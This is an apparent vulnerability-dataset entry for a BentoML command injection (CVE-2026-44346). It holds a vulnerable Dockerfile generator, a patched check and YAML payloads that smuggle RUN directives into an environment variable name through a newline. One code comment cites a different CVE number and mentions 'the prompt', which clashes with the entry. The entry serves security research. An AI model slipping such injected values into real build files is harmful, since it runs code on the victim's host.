CVE-2026-44346
BentoML command injection via bentofile.yaml allows host code execution.
- CVSS 8.8
- CWE-78
- Input Validation and Sanitization
- Local
BentoML is a Python library for building online serving systems optimized for AI apps and model inference. Prior to 1.4.39, a malicious bentofile.yaml containing a newline-injected value in envs[*].name produces unquoted RUN directives in the BentoML-generated Dockerfile. When the victim runs bentoml containerize on the imported bento, those RUN directives execute on the host during docker build. This vulnerability is fixed in 1.4.39.
- CWE
- CWE-78
- CVSS base score
- 8.8
- Published
- 2026-05-27
- OWASP
- A03 Injection
- Orthogonal defect classification
- Checking
- Code defect classification
- Missing Check
- Category
- Input Validation and Sanitization
- Subcategory
- Command Injection
- Accessibility scope
- Local
- Impact
- Arbitrary Code Execution
- Affected component
- BentoML
- Fixed by upgrading
- Yes
Solution
Upgrade BentoML to version 1.4.39 or later.
Vulnerable code sample
import yaml
# This code represents the vulnerable logic in BentoML before the fix for
# CVE-2024-4346 (Note: the CVE in the prompt has a typo). The flaw is in the
# Dockerfile generation, where an environment variable's name from `bentofile.yaml`
# is not sanitized, allowing newline injection.
def generate_vulnerable_dockerfile(bento_config):
"""
A simplified, vulnerable Dockerfile generator mimicking BentoML's
behavior before the fix. It naively constructs Dockerfile content
from a parsed configuration.
"""
lines = [
"FROM debian:buster-slim",
"LABEL maintainer=\"BentoML Team <contact@bentoml.ai>\"",
]
# VULNERABLE SECTION: Processes environment variables from the config.
if "envs" in bento_config:
lines.append("\n# Set up environment variables")
for env_var in bento_config.get("envs", []):
env_name = env_var.get("name")
env_value = env_var.get("value", "")
# THE VULNERABILITY:
# The 'env_name' is inserted directly into the Dockerfile content
# without any escaping. A newline character in 'env_name' will be
# interpreted as a new line in the Dockerfile, allowing an attacker
# to inject arbitrary commands (e.g., a RUN directive).
lines.append(f"ENV {env_name} \"{env_value}\"")
lines.append("\nCMD echo \"Container build complete\"")
return "\n".join(lines)
if __name__ == "__main__":
# This string represents a malicious 'bentofile.yaml'.
# The 'name' of the environment variable contains a newline (`\n`)
# followed by a malicious `RUN` command. The trailing '#' comments out
# the rest of the original line to avoid a syntax error in the Dockerfile.
malicious_yaml_content = """
service: "service.py:svc"
description: "A malicious bento"
envs:
- name: 'INJECTED_VAR\\nRUN apt-get update && apt-get install -y fortune && /usr/games/fortune > /pwned.txt #'
value: 'some_value'
"""
# Simulate BentoML parsing the malicious YAML file.
parsed_malicious_config = yaml.safe_load(malicious_yaml_content)
# Generate the Dockerfile using the vulnerable function.
generated_dockerfile = generate_vulnerable_dockerfile(parsed_malicious_config)
# Print the resulting malicious Dockerfile to the console.
# When `docker build` runs this file, the injected `RUN` command will
# execute on the host during the build process.
print("--- Generated Malicious Dockerfile ---")
print(generated_dockerfile)
print("------------------------------------")Patched code sample
import os
def generate_dockerfile_env_directive(name: str, value: str) -> str:
"""
Safely generates a single Dockerfile ENV directive, representing a fix
for a command injection vulnerability via newline characters.
The vulnerability occurs when a user-supplied 'name' containing a newline
is written directly into a Dockerfile, allowing the injection of
arbitrary commands.
The fix is to validate the 'name' and reject any input containing
newline or carriage return characters.
"""
# The Fix: Validate the environment variable name to prevent injection.
# If a newline or carriage return is present, an attacker could inject
# a new Dockerfile directive (e.g., RUN).
if "\n" in name or "\r" in name:
raise ValueError(
f"Invalid characters found in environment variable name '{name}'. "
"Newline injection attempt blocked."
)
# In a real implementation, the value would also be properly escaped.
# The vulnerable code would have omitted the check above, writing the
# malicious 'name' directly to the Dockerfile.
return f'ENV {name}="{value}"'
# --- Example of how the fix works ---
# Malicious input designed to exploit the vulnerability
malicious_name = 'MY_VAR="foo"\nRUN apt-get update && apt-get install -y netcat'
safe_value = "bar"
# Safe input
safe_name = "MY_APP_PORT"
# Demonstrate the fix with malicious input
try:
print("Attempting to generate directive with malicious name...")
generate_dockerfile_env_directive(malicious_name, safe_value)
except ValueError as e:
print(f"SUCCESS: The fix prevented the injection.\n Error: {e}\n")
# Demonstrate with legitimate input
try:
print("Attempting to generate directive with safe name...")
safe_directive = generate_dockerfile_env_directive(safe_name, "8080")
print(f"SUCCESS: The safe directive was generated correctly.\n Output: {safe_directive}")
except ValueError as e:
print(f"FAILURE: An unexpected error occurred: {e}")Payload
service: "service:svc"
labels:
owner: bentoml-team
stage: dev
include:
- "*.py"
python:
packages:
- scikit-learn
- pandas
envs:
- name: |-
HACKED\nRUN touch /tmp/pwned #
value: "exploit"
Cite this entry
@misc{vaitp:cve202644346,
title = {{BentoML command injection via bentofile.yaml allows host code execution.}},
author = {Bogaerts, Fr\'ed\'eric and Ivaki, Naghmeh and Fonseca, Jos\'e},
year = {2026},
note = {VAITP Python Vulnerability Dataset, entry CVE-2026-44346},
howpublished = {\url{https://netpack.pt/vaitp/vulnerability/CVE-2026-44346/}}
}
Introducing the "VAITP dataset": a specialized repository of Python vulnerabilities and patches, meticulously compiled for the use of the security research community. As Python's prominence grows, understanding and addressing potential security vulnerabilities become crucial. Crafted by and for the cybersecurity community, this dataset offers a valuable resource for researchers, analysts, and developers to analyze and mitigate the security risks associated with Python. Through the comprehensive exploration of vulnerabilities and corresponding patches, the VAITP dataset fosters a safer and more resilient Python ecosystem, encouraging collaborative advancements in programming security.
The supreme art of war is to subdue the enemy without fighting.
Sun Tzu – “The Art of War”
:: Shaping the future through research and ingenuity ::
